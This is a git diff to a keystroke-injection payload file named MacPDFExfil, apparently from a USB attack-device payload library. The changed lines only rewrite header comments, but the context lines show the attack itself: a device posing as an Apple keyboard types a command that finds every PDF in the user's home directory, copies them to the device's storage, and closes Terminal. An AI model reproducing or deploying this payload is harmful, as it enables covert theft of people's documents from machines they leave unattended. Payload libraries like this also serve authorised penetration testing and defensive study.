diff --git a/payloads/library/exfiltration/MacPDFExfil/payload.txt b/payloads/library/exfiltration/MacPDFExfil/payload.txt index d74275db..30f135ba 100644 --- a/payloads/library/exfiltration/MacPDFExfil/payload.txt +++ b/payloads/library/exfiltration/MacPDFExfil/payload.txt @@ -4,9 +4,9 @@ # Author: k1ul3ss # Props: audibleblink # Version: 1.0 -# Category: Exfiltration -# Target: macOS -# Attackmodes: HID, Storage +# Targets: macOS +# Attack Modes: HID, Storage +# Description: Finds all PDFs in the users Home directory, and then copies them to the Bunnys storage. ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E @@ -28,4 +28,4 @@ QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Ter QUACK ENTER # sync the filesystem -sync \ No newline at end of file +sync